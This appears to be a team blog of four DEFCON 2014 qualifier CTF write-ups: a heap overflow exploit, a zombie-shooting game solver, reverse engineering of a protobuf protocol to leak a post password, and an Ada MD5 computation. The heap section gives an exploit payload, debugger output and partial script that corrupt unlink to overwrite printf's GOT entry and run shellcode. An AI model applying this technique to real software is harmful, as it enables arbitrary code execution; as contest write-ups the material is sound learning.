Saturday, May 31, 2014

DEFCON 2014 quals - Baby First Heap

As the name of the challenge might imply, the given elf file was a pwnable with a heap overflow vulnerability. The program informed us of the allocator version 2.6.1 by Douglas Lee then proceeded to malloc twenty blocks of memory. There is one block that is always the given size of 260 bytes, which is where our input will be placed.
Ex. Output:
[ALLOC][loc=9449058][size=755]
[ALLOC][loc=9449350][size=260]
[ALLOC][loc=9449458][size=877]
[ALLOC][loc=94497D0][size=1245]
[ALLOC][loc=9449CB8][size=1047]
[ALLOC][loc=944A0D8][size=1152]
[ALLOC][loc=944A560][size=1047]
[ALLOC][loc=944A980][size=1059]
[ALLOC][loc=944ADA8][size=906]
[ALLOC][loc=944B138][size=879]
[ALLOC][loc=944B4B0][size=823]
Write to object [size=260]:

The user is able to give 4096 bytes of code, given in the following segment.
.text:08048A6B                 mov     dword ptr [esp+4], 4096 ; number of input bytes
.text:08048A73                 lea     eax, [esp+330h]
.text:08048A7A                 mov     [esp], eax      ; write location
.text:08048A7D                 call    get_my_line

At this point, it becomes the black magic that is a heap overflow. The nature of exploiting a heap overflow with a bad free is to overwrite the header in a manner where we are able to direct an arbitrary write. Writing over the header of the next block with 0xfffffffc, corrupts unlink method when the 260 memory block is being freed. At this point our exploit looks like:
python -c 'import struct;print "BBBB"+"CCCC"+"A"*252 + struct.pack("<I",0xfffffffc)'

Running this segfaults. Using a debugger gives us the following output, which we will step through in a second.
--------------------------------------------------------------------------[regs]
  EAX: 0x42424242  EBX: 0xF7FBBFF4  ECX: 0x0804D004  EDX: 0x43434343  o d I t s z A P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFC128  ESP: 0xFFFFC0F0  EIP: 0x080493F6
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
--------------------------------------------------------------------------[code]
=> 0x80493f6 : mov    DWORD PTR [eax+0x8],edx
   0x80493f9 : mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc : mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff : mov    DWORD PTR [eax+0x4],edx

If you do a bit of reading on heap overflows with regards to abusing the unlink method, you will realize that at location 0x80493f6, the program attempts to write our second four bytes into the memory location represented by our first four bytes plus eight. In location 0x80493ff, our first four bytes will be written to the location pointed two by the second four bytes plus four. We could try to rebuild all the blocks that come after our exploit, but that would we incredibly difficult. After reading for a bit, it was recommended by some to overwrite the GOT entry for free with the location of our buffer. Since the free was not dynamically linked, we needed to find something else. Before it freed each block, it printed which block was being freed. This can be seen in:
.text:08048ADB                 mov     eax, offset aFreeAddressX ; "[FREE][address=%X]\n"
.text:08048AE0                 mov     [esp+4], edx
.text:08048AE4                 mov     [esp], eax      ; format
.text:08048AE7                 call    _printf
.text:08048AEC                 mov     eax, [esp+133Ch]
.text:08048AF3                 mov     eax, [esp+eax*8+10h]
.text:08048AF7                 mov     [esp], eax      ; mem
.text:08048AFA                 call    free

The printf function was dynamically linked. When coupled with the lack of RELRO, I decided to overwrite the GOT entry for printf with the location of our shellcode (Location of input + 8 bytes). The locations to write could be determined as the program ran over the wire since it printed out each location from our first example block. Some example code determining the locations using the pexpect library is shown:
s = socket.socket()
s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
so = fdpexpect.fdspawn(s)
so.expect("ALLOC")
so.expect("size=260")
parse = so.before[-9:-2]
so.expect("]:")
ourBuff = str("0x"+parse)
print hex(int(ourBuff , 16))
exploit = struct.pack("<I", hex(int(ourBuff , 16)))
exploit += struct.pack("<I", printfLoc-4)
When printf is called after out malformed block gets freed, our shellcode is run instead, allowing us to get the flag. If you have any questions, feel free to ask!

--Imp3rial

Tuesday, May 27, 2014

DEFCON 2014 quals - Zombies

This challenge consisted of a scripting game. The player was asked to choose a gun and pistol, and then use them to save 100 puppies from attacking zombies.

To shoot a zombie, the player had to give the weapon used (pistol or rifle), and the angle, distance and height of the shot (zombies and puppies exist on a 2D grid relative to the player. For the first 10 rounds the zombie would be stationary. However, the final 90 rounds had a moving zombie. For this, the player was given the location of the zombie and puppy, and the time it would take for the zombie to get to the puppy. While we initially expected that the player and puppy would begin to move in later rounds, this thankfully never happened.

For the first 10 rounds, we used physics to calculate bullet drop due to gravity, and basic trig to get the angle.

For the remaining 90 rounds, we calculated the ratio of the time at which we would shoot the zombie over time it would have taken that zombie to reach the puppy. This was multiplied by the distance between the two, and added to the zombie's initial location to get the location of the zombie at time of the shot. Additionally, we had to integrate bullet drop in both the height and angle of shot.

Even with this, we would occasionally get unexpected failures (<5%). We compensated for this by starting many connections, and one eventually hit 100%

-albntomat0

Code
from __future__ import division
import socket,math,time
ip = 'zombies_8977dda19ee030d0ea35e97ad2439319.2014.shallweplayaga.me'
port = 20689

def main():
 s = socket.socket()
 s.connect((ip,port))

 print(s.recv(1024))
 print("test")
 s.send("2\n")
 print("[+] Sent gun choice")
 print(s.recv(1024))
 s.send("3\n")
 print("[+] Sent pistol choice")
 for i in range(9):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  numbers = []
  print("##########################")
  for a in temp:
   if a[:-1].isdigit():
    numbers += [a[:-1]]
    print(a)
  print("###########################")
  dist = numbers[len(numbers)-2]
  height = numbers[len(numbers)-1]
  print("dist is: " + dist)
  print("height is " + height)
  shoot(s,int(height),int(dist))
 while(True):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  ztime = []
  numbers = []
  for a in temp:
   if a.isdigit(): #ztime value
    ztime += [a]
   elif a[:-1].isdigit(): #distance value
    numbers += [a[:-1]]
  print(ztime)
  print("#####")
  print(numbers)
  zdist = int(numbers[len(numbers)-4])
  zheight = int(numbers[len(numbers)-3])
  pdist = int(numbers[len(numbers)-2])
  pheight = int(numbers[len(numbers)-1])
  currTime = 1
  finTime = int(ztime[0])
  print("pdist is: " + str(pdist))
  print("pheight is " + str(pheight))
  print("zdist is: " + str(zdist))
  print("zheight is " + str(zheight))
  for z in range(2):
   print(s.recv(64))
   currTime += 1
  shoot2(s,zheight,zdist,pheight,pdist,currTime,finTime)
  #print(s.recv(1024))

def shoot2(s,zombieHIn,zombieDIn,puppieHIn,puppieDIn,currTime,finalTime):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 ztimeRatio = currTime/finalTime
 heightIn = (puppieHIn - zombieHIn) * ztimeRatio + zombieHIn
 distanceIn = (puppieDIn - zombieDIn) * ztimeRatio + zombieDIn
 print("Time " + str(ztimeRatio))
 print("Height Target " + str(heightIn))
 print("Dist Target " + str(distanceIn))
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn#before lead
 distance = distance + ((puppieDIn - zombieDIn)/finalTime * ztime)
 
 rad = math.atan2(height,distanceIn)
 angle = math.degrees(rad)

 response = weapon + ", " + str(angle) + " , " + str(distanceIn) + " , " + str(heightIn)
 print("[+] Firing: " + response)
 s.send(response + "\n")

def shoot(s,heightIn,distanceIn):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn
 rad = math.atan2(height,distance)
 angle = math.degrees(rad)
 response = weapon + "," + str(angle) + "," + str(distance) + "," + str(height+drop)
 print("[+] Firing: " + response)
 s.send(response + "\n")

main()

Sunday, May 25, 2014

DEFCON 2014 quals - Fritas

Fritas
Fritas:
fritas_91a318f87f384a080595696b3c73fc39.2014.shallweplayaga.me 6908
For the sake of brevity we will call the address fritas.net. Despite the fact that our mothers taught us all not to talk to strangers, the first thing we all do when presented with a strange address/port is talk to it. Connecting to the port with netcat a few times gave us the interesting interaction:
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00acd0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ace0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ad20001

The first line makes no sense, but the second one appears to be some sort of UUID that increments all but the last 4 digits, which are always 0001. We want to take a closer look at the data so we create a simple Python script to connect to it and display:
from socket import socket
HOST = (‘fritas.net’,6908)
s = socket()
print repr(s.connect(HOST).read(1024))
repr allows us to print the data so that non printable bytes are printed in their hex representation. It is good practice when printing unknown data for analysis and it pays off!
$python fritas.py
\x00\x00\x00\x00&\n$aufy7df9-ase4-1234-00ae20001
This looks like it could be a handshake so we modify fritas.py to send the data we get back.
$python fritas.py
\x01\x00\x00\x00
This is a good sign, and it is beginning to look like this challenge is protocol busting. We modify the python to send back a modified Hello with the first byte incrementing every time from 1 to 255. For some codes we get interesting behavior:
$python fritas.py
1 : Expected Hello, got Fritas::Messages::Ready
11: Expected Hello, got Fritas::Messages::StorePostReq
14: Expected Hello, got Fritas::Messages::GetPostResp
15: Expected Hello, got Fritas::Messages::ListPostReq
21: Expected Hello, got Fritas::Messages::ListTagReq
31: Expected Hello, got Fritas::Messages::GetRelatedTagReq
From the replies to these messages we can determine that the protocol consists of:
And the data consists of section preceded by two bytes, the first of which appeared to be a flag (usually a newline) and the second was the length of the section. It also appears that every Req has a code that is one less than its corresponding Resp. We crafted a request with no data to list posts and list tags. Each tag had a TagID which matched the UUID except the last 4 digits which were 0002 through 0008. So if your uuid was xxxxxx-xxxx-xxxx-xxxx0001, the first post would be xxxxxx-xxxx-xxxx-xxxx0002. The tags were all random collections of 20 letters and numbers. We sent a “GetPostReq” for each post revealing that post 0002 was password protected while all the other posts contained their TagID, a header (preceded by the ‘\n’ flag) and a body (preceded by the ‘\x12’ flag). Each post also had two tags with it, which presented an interesting issue: one of the tags from the ListTagReq was un accounted for! We figured it was probably related to the password protected post. WHY NOT GET RELATED TAGS! Sending a GetRelatedTagReq with the data section containing a tag returns a large data structure, one element in the structure contained the line “password=X” where X is about 20 random characters. After some trial and errors, we settle on sending the GetPostReq with the format: <code>\nTagID\x12 This request returned the post containing the flag! As a side note, the name of the challenge “Fritas” is a type of beef cake. This is a clue, as the server for this challenge is implemented using the beefcake ruby library https://github.com/protobuf-ruby/beefcake which is a ruby implementation of the Google protobuf https://code.google.com/p/protobuf/ which is worth looking into.

Monday, May 19, 2014

DEFCON 2014 quals - HackerTool

The question said "hey, we need to check that your connection works, torrent this file and md5 it." The file in question was huge, and downloading it via torrent seemed likely to take too long. Using our torrent tool, we told it to prefer the beginning and ending blocks. Looking at the partial download, we saw:
0.0.0.0
0.0.0.1
...
255.255.255.254
255.255.255.255

We were troubled by the fact that the instructions said all flags would begin with "The flag is:" (and we weren't going to have that) but decided to go for it and compute the MD5 sum of what we believed the file to be (slightly encouraged by the name of the file referring to every IP address).
The Ada program below correctly computed the MD5 (we also implemented this in Python, but the compiled language ran much faster).

WITH Ada.Text_IO;
with gnat.md5;
PROCEDURE Every_Ip IS
   FUNCTION To_String(X : IN Integer) return String IS
      s : string := integer'image(x);
   BEGIN
      RETURN S(S'First+1..S'Last);
   END To_String;
   context : gnat.md5.context := gnat.md5.initial_context;
BEGIN
   FOR I IN 0..255 LOOP
      ada.Text_IO.put_line(integer'image(i));
      FOR J IN 0..255 LOOP
         FOR K IN 0..255 LOOP
            for l in 0..255 loop
            gnat.md5.update(context,to_string(i)&"."&to_string(j)&"."&to_string(k)&"."&to_string(l)&ascii.lf);
      END LOOP;
    END LOOP;
      END LOOP;
   END LOOP;
   ada.Text_IO.put_line(gnat.md5.digest(context));
end every_ip;